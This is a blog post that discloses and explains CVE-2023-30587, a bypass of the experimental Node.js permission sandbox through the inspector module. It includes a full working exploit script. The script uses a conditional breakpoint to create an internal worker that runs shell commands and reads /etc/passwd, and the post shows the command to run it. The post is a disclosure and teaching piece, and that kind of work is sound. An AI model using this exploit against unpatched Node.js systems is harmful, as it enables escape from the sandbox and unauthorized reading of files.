# Breaking down the Node.js sandbox bypass CVE-2023-30587

Turns out, a lot of people want to try to safely run untrusted code, and that's hard. Pixee Engineer Matt Austin ([@mattaustin](https://twitter.com/mattaustin)) recently found [a bypass of the new and experimental Node.js sandbox](https://hackerone.com/reports/1962701) in versions before 20.3.1, and it just received a $3K award from Internet Bug Bounty! We think these new Node.js features will help a lot of people, and we were excited to be able to help button it up a little bit. And because Matt is too lazy to blog, *I'll* be the one telling you about it.

# The Vulnerability

The core problem was that restrictions made with the `--experimental-permission` flag could be bypassed by abusing the `inspector` module. The `inspector` is accessible from userland code without any special configuration or enabling CLI parameters -- is it weird to decide you want to debug your code, programmatically, after you start running it?

Anyway, the `Worker` class can take an argument (the `kIsInternal` Symbol) to create an "internal worker" that doesn't respect process-level restrictions.

You can't access this Symbol (`kIsInternal`) directly. However, the [inspector module](https://nodejs.org/api/inspector.html) can, and it's not disabled when process-level restrictions are in place. If you're not familiar:

*The node:inspector module provides an API for interacting with the V8 inspector.*

If we attach `inspector` inside the `Worker` constructor before the `new WorkerImpl` is created we can use it to change the value of `isInternal` via a malicious conditional breakpoint.

# The Exploit

Let's call the exploit `bypass.js`:

```javascript
const { Session } = require('node:inspector/promises');

const session = new Session();
session.connect();

(async ()=>{
	await session.post('Debugger.enable');
	await session.post('Runtime.enable');

	global.Worker = require('node:worker_threads').Worker;
	
	let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
	let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
	let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
	let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });

	// find the line number where WorkerImpl is called. 
	const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;

	// WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
	await session.post("Debugger.setBreakpointByUrl", {
		lineNumber: lineNumber,
		url: "node:internal/worker",
		columnNumber: 0,
		condition: "((isInternal = true),false)"
	});

	new Worker(`
		const child_process = require("node:child_process");
		console.log(child_process.execSync("ls -l").toString());
		console.log(require("fs").readFileSync("/etc/passwd").toString())
	`, {
		eval: true,
		execArgv: [
			"--experimental-permission",
			"--allow-fs-read=*",
			"--allow-fs-write=*",
			"--allow-child-process",
			"--no-warnings"
		]
	});

})()
```

Check out Matt's clever condition for the breakpoint, which overwrites the `isInternal` value during a `boolean` evaluation, which the debugger will call when deciding if it should "break" or not:

```javascript
		condition: "((isInternal = true),false)"
```

You can run the exploit and prove the sandbox bypass with a command line this:

```bash
$ node --experimental-permission --allow-fs-read=$(pwd) bypass.js
```

If exploitation didn't work, you'd expect to see something like this:

```bash
node:internal/child_process:1103
  const result = spawn_sync.spawn(options);
                            ^

Error: Access to this API has been restricted
```

But you won't see that, you'll see `/etc/passwd`. 😬

# Patched by Node.js

The Node.js team was responsive and quick to remediate this vulnerability. It was fixed in the June 20 2023 security release here: [https://nodejs.org/en/blog/vulnerability/june-2023-security-releases](https://nodejs.org/en/blog/vulnerability/june-2023-security-releases)

# Further Research

There could be other ways to cause state changes to other internal APIs to achieve the same goal, but fortunately, most of the logic for sandboxing is in C land, so there's less attack surface from Node APIs.
